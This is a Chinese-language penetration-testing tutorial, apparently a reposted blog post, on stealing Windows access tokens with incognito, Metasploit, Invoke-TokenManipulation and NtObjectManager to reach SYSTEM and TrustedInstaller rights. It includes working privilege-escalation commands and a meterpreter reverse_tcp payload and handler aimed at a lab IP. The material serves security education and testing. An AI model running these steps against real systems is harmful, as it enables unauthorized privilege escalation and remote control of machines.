滲透技巧——Token竊取與利用
0x00 前言
在之前的文章《滲透技巧——程序的降權啟動》介紹了使用SelectMyParent降權的方法,本質上是通過token竊取實現的。這一次將要對token竊取和利用做進一步介紹,測試常用工具,分享利用技巧。
0x01 簡介
本文將要介紹以下內容;
- Token簡介
- Metasploit中的incognito
- Windows平台下的incognito
- Invoke-TokenManipulation.ps1用法
- 利用token獲得system權限
- 利用token獲得TrustedInstaller權限
0x02 Token簡介
Windows有兩種類型的Token:
-
Delegation token(授權令牌):用於交互會話登錄(例如本地用戶直接登錄、遠程桌面登錄)
-
Impersonation token(模擬令牌):用於非交互登錄(利用net use訪問共享文件夾)
注:
兩種token只在系統重啟后清除
具有Delegation token的用戶在注銷后,該Token將變成Impersonation token,依舊有效
實際測試
使用Test\a登錄后注銷,再使用administrator登錄
查看token:
incognito.exe list_tokens -u
能夠獲取到已注銷用戶Test\a的token,如下圖
利用該token執行calc.exe:
incognito.exe execute -c "TEST\a" calc.exe
后台顯示進程calc.exe的用戶名為a,如下圖
0x03 Metasploit中的incognito
在Metasploit中,可使用incognito實現token竊取,常用命令如下:
加載incognito:load incognito
列舉token:list_tokens -u
查看當前token:getuid
提示至system權限:getsystem
token竊取:impersonate_token “NT AUTHORITY\\SYSTEM”
從進程竊取:steal_token 1252
返回之前token:rev2self or drop_token
實際測試
Client:
msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exe
Server:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit
執行getsystem獲得system權限
pid 1252的權限為當前用戶,執行steal_token 1252, 將權限切換到WIN-R7MM90ERBMD\a
如下圖
執行impersonate_token “NT AUTHORITY\\SYSTEM”將權限切換至system
注:
需要加引號和雙斜杠,”NT AUTHORITY\\SYSTEM”
執行rev2self返回之前token,為WIN-R7MM90ERBMD\a
如下圖
通過以上演示,成功通過token竊取實現權限切換
0x04 Windows平台下的incognito
Metasploit中的incognito,是從windows平台下的incognito移植過來的,下面介紹一下windows平台下的incognito
下載地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
參考手冊:
http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
常見用法如下:
列舉token:incognito.exe list_tokens -u
復制token:incognito.exe execute [options] <token> <command>
實際測試
列舉token:
incognito.exe list_tokens -u
如下圖
提權至system:
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
如下圖
降權至當前用戶:
incognito.exe execute -c "WIN-R7MM90ERBMD\a" cmd.exe
偽造用戶:
incognito.exe execute -c "WIN-R7MM90ERBMD\b" cmd.exe
如下圖
0x05 Invoke-TokenManipulation.ps1用法
下載地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同incognito類似,能夠實際提權和降權
列舉token:Invoke-TokenManipulation -Enumerate
提權至system:Invoke-TokenManipulation -CreateProcess “cmd.exe” -Username “nt authority\system”
復制進程token:Invoke-TokenManipulation -CreateProcess “cmd.exe” -ProcessId 500
復制線程token:Invoke-TokenManipulation -CreateProcess “cmd.exe” -ThreadId 500
還有更多用法可參考該腳本說明
實際測試略
0x06 利用token獲得TrustedInstaller權限
在Windows系統中,即使獲得了管理員權限和system權限,也不能修改系統文件
因為Windows系統的最高權限為TrustedInstaller
例如路徑C:\Windows\servicing
使用system權限無法在該路徑創建文件
如下圖
查看文件夾屬性,顯示system不具有寫入權限,只有TrustedInstaller可以
如下圖
關於如何獲得TrustedInstaller權限,可參考James Forshaw的這篇文章,很值得學習
https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html
這里對其中的一個實例做測試,進而找到其他實現方法
啟動TrustedInstaller服務會啟動進程TrustedInstaller.exe,位置為C:\Windows\servicing\TrustedInstaller.exe,查看該程序權限:
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner
顯示為NT SERVICE\TrustedInstaller,如下圖
James Forshaw的實現思路為借用TrustedInstaller.exe的token創建子進程,這樣子進程就有了TrustedInstaller權限,具體powershell代碼如下:
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
powershell默認不支持Set-NtTokenPrivilege命令,該模塊需要下載安裝
下載地址:
https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
安裝命令:
Save-Module -Name NtObjectManager -Path c:\test
Install-Module -Name NtObjectManager
注:
Save-Module需要powershell v5.0支持,詳情見:
https://docs.microsoft.com/zh-cn/powershell/gallery/readme
因此測試系統選為Win10,默認powershell版本為5.0
導入該模塊需要系統允許執行powershell腳本,因此先執行如下代碼:
Set-ExecutionPolicy Unrestricted
導入模塊NtObjectManager:
Import-Module NtObjectManager
執行命令測試:
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
使用whoami查看當前cmd權限:
whoami /groups /fo list
發現當前cmd.exe在TrustedInstaller組里,成功獲得TrustedInstaller權限
如下圖
接着按照James Forshaw文章中更新的內容,學習了Vincent Yiu@vysecurity的方法,使用metasploit下的incognito也能夠獲得TrustedInstaller權限
地址如下:
https://twitter.com/vysecurity/status/899303538630774787
思路如下:
- 啟動服務TrustedInstaller
- 使用incognito獲取TrustedInstaller.exe的token
- 獲得TrustedInstaller權限
使用以下命令:
- load incognito
- getsytem
- ps
- steal_token 3204
- getuid
按照這個思路,猜測使用SelectMyParent和Invoke-TokenManipulation.ps1也能獲得TrustedInstaller權限
下面驗證我們的判斷
1、SelectMyParent
sc start TrustedInstaller
SelectMyParent.exe cmd.exe 1700
新的cmd.exe擁有TrustedInstaller權限
2、Invoke-TokenManipulation.ps1
添加如下代碼即可:
sc.exe start TrustedInstaller
$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id
注:
sc這個命令不能直接在powershell里面運行,powershell會把它當作set-content的別名,可使用sc.exe在powershell里面運行sc命令
驗證是否獲得TrustedInstaller權限的方法
1、對特殊路徑寫文件
例如C:\Windows\servicing,如下圖
2、使用powershell
Get-Acl -Path C:\Windows\servicing\TrustedInstaller.exe |select Owner
回顯為NT SERVICE\TrustedInstaller
3、使用whoami
whoami /groups | findstr TrustedInstaller
查看是否有回顯
0x07 小結
本文介紹了token竊取的實現方法,使用多種工具來獲得system權限和TrustedInstaller權限。
原文地址:大佬的文章